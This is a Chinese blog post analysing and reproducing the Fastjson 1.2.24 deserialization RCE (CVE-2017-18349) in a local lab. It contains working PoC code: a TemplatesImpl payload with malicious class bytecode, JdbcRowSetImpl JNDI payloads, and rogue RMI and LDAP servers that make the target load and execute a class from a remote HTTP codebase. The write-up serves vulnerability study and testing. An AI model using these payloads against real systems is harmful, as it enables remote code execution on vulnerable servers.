Fastjson1.2.24(CVE-2017-18349)分析

最新推荐文章于 2024-09-10 15:45:44 发布
最新推荐文章于 2024-09-10 15:45:44 发布
阅读量1k 收藏 18
点赞数 27
文章标签： web安全 java 代码审计 反序列化
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Destiny_one/article/details/141816590
版权

前言

Fastjson在1.2.24版本之前存在两条利用链，分别是

  1. JNDI com.sun.rowset.JdbcRowSetImpl
  2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    我们本次也是对这两条链进行分析和过程复现
    在fastjson漏洞中，我们往往是寻找一个类，它的构造函数、 getter，setter 方法有问题，那么往往这个类就是我们要找的漏洞触发点了

环境搭建

1.jdk8u65 （低版本有jndi漏洞的）
2.fastjson 1.2.24

先在pom.xml中写入实验需要的环境
unboundid-ldapsdk（等会ldap需要）
commons-io（数据流操作需要）
fastjson （漏洞触发环境）
commons-codec（加密需要）

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.9</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.12</version>
</dependency>

1.TemplatesImpl分析

在之前的CC链分析中，有一个漏洞点是位于TemplatesImpl加载字节码，然后调用了newInstance()方法进行实例化执行命令，而这个方法就是一个getter方法
在这里插入图片描述

我们想要顺利执行到newInstance()方法实例化执行命令需要满足中间的程序判定，让它顺利的执行到目标点
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. _name为String类型，不能为null
  2. _class为Class类型的数据，必须为null 默认也是null，不用处理
  3. _bytecodes为字节类型的二维数组，不能为null
  4. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象，并且初始化为 null，不能为空，他还需要执行方法
  5. _auxClasses不为null，需要让payload继承 ABSTRACT_TRANSLET 这个父类
    所以我们使用以下代码
String text1 = "{\"@type\":\"" + NASTY_CLASS +
        "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'admin','_tfactory':{ },"

虽然fastjson会自动调用目标的所有getter和setter方法，但是只会调用满足条件的getter和setter方法

满足条件的setter：

  • 非静态函数
  • 方法名长度大于4
  • 方法名以set开头
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter：

  • 非静态方法
  • 方法名长度大于等于4
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

而我们的getTransletInstance()方法返回的是一个translet实例
在这里插入图片描述
我们寻找谁调用了getTransletInstance()方法，但是它不是getter方法，我们继续寻找
在这里插入图片描述
我们可以看到有一个getter方法，我们看它是否满足fastjson的调用条件，可以看到是满足的，它最后返回的Properties继承的是Map
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以当前的路线为：

getOutputProperties()  ---> newTransformer() ---> TransformerImpl

2.TemplatesImpl复现

所以我们构造poc要加上_outputProperties，使其能够触发getOutputProperties()方法

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc  extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
//
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

package org.fastjson;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;


public class fstjson124 {
    public static void main(String args[]) {
        try{
            final String evilClassPath = "D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",'_bytecodes':['"+evilCode+"'],'_name':'admin','_tfactory':{ },'_outputProperties':{ },";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
}

需要注意的是，在fastjson当中，双引号和单引号是有区别的，注意区分，而且想让传给JSON.parseObject()进行反序列化的JSON内容指向的对象类中的私有变量成功还原出来，则需要在调用JSON.parseObject()时加上Feature.SupportNonPublicField这个属性设置
在这里插入图片描述

3. JdbcRowSetImpl 分析及复现

这条链的漏洞主要存在于JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName
我们查看JdbcRowSetImpl#setAutoCommit方法

在这里插入图片描述
在this.conn为空的情况下，会进入connect()方法
并且在this.getDataSourceName() != null的情况下，进行了一次JNDI的调用
在这里插入图片描述
而这个值是怎么来的呢，这个值可以在JdbcRowSetImpl#setDataSourceName中由我们控制赋予
在这里插入图片描述
它会调用父类，然后设置dataSource的值
在这里插入图片描述
而在上面的调用this.getDataSourceName()，调用的就是dataSource的值
在这里插入图片描述
我们也可以看到这两个方法JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName都是符合fastjson的setter规则的
所以我们构建payload

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

3.1 JNDI+RMI

我们先写一个测试的类

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
//
}

然后使用python启动一个http服务在这里插入图片描述
启动RMI

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class ldap {
        public static void main(String[] args) {
            try {
                // RMI部分
                Registry registry = LocateRegistry.createRegistry(1099);
                InitialContext initialContextRMI = new InitialContext();
                Reference referenceRMI = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");
                initialContextRMI.rebind("rmi://127.0.0.1:1099/remoteObj", referenceRMI);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

然后运行我们的Payload

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{

            String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/remoteObj\",\"autoCommit\":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

3.2 JNDI+ldap

我们代码启动一个ldap

package org.example;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8000/#Calc";
        int port = 1099;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

在这里插入图片描述
启动http服务，上面有我们的测试类
在这里插入图片描述
启动Payload


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{

            String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.3 工具启动

我们直接使用工具启动一个ldap
在这里插入图片描述
将payload中的地址进行替换

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjson_124_jndi {
    public static void main(String args[]) {
     try{

            String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:80/Object\",\"autoCommit\":true}";
            System.out.println(text1);
            Object obj = JSON.parseObject(text1);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

在这里插入图片描述
我们可以看到记录已经访问到
在这里插入图片描述

4.总结

我们一共分析了两种fastjson1.2.4利用的方式，第一种TemplatesImpl涉及到私有变量，所以需要代码种包括Feature.SupportNonPublicField，这一点限制比较大
所以在平常的测试种，我们往往使用第二种方式来进行测试fastjson漏洞，不过要区分jdk版本来使用不同的绕过方式

鸣蜩十四
关注
[渗透测试笔记] 48.Fastjson1.2.24反序列化漏洞复现(CVE-2017-18349)
H4ppyD0g的博客
03-16 2473
文章目录漏洞描述影响范围漏洞复现 漏洞描述 FastJson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。 fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。 在Java 8u102环境下，没有com.sun.jndi.rmi.object.trustURLCod
fastjson-cnvd-2017-02833漏洞复现 | Web漏洞挖掘班作业
Ms08067安全实验室
12-08 881
文章来源｜MS08067 Web安全漏洞挖掘实战班课后作业本文作者：某学员A（Web漏洞挖掘实战班2期学员）一、漏洞概述fastjson在解析json的过程中,支持使用@type字段来指定...
fastjson反序列化 CVE-2017-18349
zkaqlaoniao的博客
12-19 225
fastjson中,在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行,我们给此类中的 setDataSourcesName 输入恶意内容（rmi链接）,让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞。序列化 String json_ser = "{"@type":"com.company.Student","name":"jack"}";序列化 String json_ser2 = "{"name":"jack"}"；
Fastjson 反序列化漏洞(CVE-2017-18349)
qq_68163788的博客
06-19 1009
Fastjson 是一个 Java 库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。
fastjson反序列化漏洞(CVE-2017-18349)
rumil的博客
09-19 557
fastjson中,在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行,我们给此类中的 setDataSourcesName 输入恶意内容（rmi链接）,让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞。它没有用java的序列化机制,而是自定义了一套序列化机制。"JSON.toJSONString"是Java语言中com.alibaba.fastjson.JSON类提供的一个方法,用于将Java对象转换为JSON格式的字符串。
Fastjson 1.2.24 反序列化导致任意命令执行漏洞复现（CVE-2017-18349）
Welcome To Myon'Blog !
03-09 2530
Fastjson 是一个 Java 库，用于在 Java 对象和 JSON 数据之间进行转换，它提供了一种简单而高效的方式来序列化 Java 对象为 JSON 格式的字符串，以及将 JSON 字符串反序列化为 Java 对象。Fastjson 支持各种类型的 Java 对象，包括预先存在但没有源代码的对象。
fastjson1.2.24漏洞复现
07-27
- *1* [FastJson1.2.24反序列化导致任意命令执行漏洞复现（CVE-2017-18349）](https://blog.csdn.net/q943111495/article/details/121031753)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630",...
任务 : 使用Docker搭建Java漏洞的实验环境 https://vulhub.org Fastjson : 1.2.24 和 1.2.47 log4j2 : CVE-2021-44228 kali2020-2024
最新发布
09-19
要在Kali Linux 2020-2024上使用Docker搭建Fastjson(版本1.2.24和1.2.47)和log4j2 (CVE-2021-44228)的Java漏洞实验环境，你需要按照以下步骤操作： 1. **安装Docker**: 首先确保你的系统上已经安装了Docker。如果...
红队系列-网络安全知识锦囊(持续更新)
aming小老弟
11-09 1269
AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WEB服务器通过TCP连接和SERVLET容器连接。为了减少进程生成socket的花费，WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接，对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请求，在请求处理循环结束之前不会在分配。换句话说，在连接上，请求不是多元的。这个是连接两端的编码变得容易，虽然这导致在一时刻会有很多连接。
fastjson1.2.24反序列化漏洞复现 CVE-2017-18349
m0_62284238的博客
09-10 1585
fastjson反序列化漏洞复现 CVE-2017-18349
Fastjson漏洞之CVE-2017-18349
GalaxySpaceX的博客
05-20 1292
Fastjson漏洞之CVE-2017-18349
Fastjson 1.2.24 反序列化（CVE-2017-18349）
黑白的博客
11-23 3395
声明 好好学习，天天向上 漏洞描述 CVE-2017-18349，前台无回显RCE fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。 影响范围 fastjson<=1.2.24 复现过程 这里使用1.2.24版本 使用vulhub cd /app/vulhub-20201028/fastjson/1.2.24-rce 使用docker启动 docker-compose
漏洞复现｜CVE-2017-18349（FastJson1.2.24反序列化导致任意命令执行漏洞）
weixin_42282189的博客
09-13 1995
作者： 村里的小四 免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责 0x01 前言 FastJson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。 0x02 影响范围 影响范围：Fastjson1.2.24及之前版本。 0x03 环境准备 3.1 目标环境 3.1.1 靶场环境 vulhub靶场环境：CVE-2017-18349 3.1.2 靶机： Ubuntu2.
fastjson 1.2.24 反序列化 RCE 漏洞复现(CVE-2017-18349)
一个top2本科学渣的救赎之路
04-23 6477
fastjson 1.2.24 反序列化导致任意命令执行漏洞，可获得服务器root权限
Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349)
oiadkt的博客
04-12 1176
Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349)
Fastjson1.2.24反序列化导致任意命令执行(CVE-2017-18349)
m0_58596609的博客
01-05 1408
Fastjson1.2.24反序列化导致任意命令执行(CVE-2017-18349) 超详细
fastjson1.2.24 反序列化导致任意命令执行漏洞（CVE-2017-18349）
1ance's blog
07-24 1651
CVE-2017-18349漏洞原理 漏洞原理
【漏洞复现】5. Fastjson 1.2.24反序列化漏洞（CVE-2017-18349）复现
Zichel77的博客
03-21 1633
FastJson 库是 Java 的一个 Json 库，其作用是将 Java 对象转换成 json 数据来表示，也可以将 json 数据转换成 Java 对象，使用非常方便，号称是执行速度最快的库。在 1.2.24 版本的 Fastjson 出现了一个反序列化的漏洞，fastjson 在解析 json 的过程中，支持使用 autoType 来实例化某一个具体的类，并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值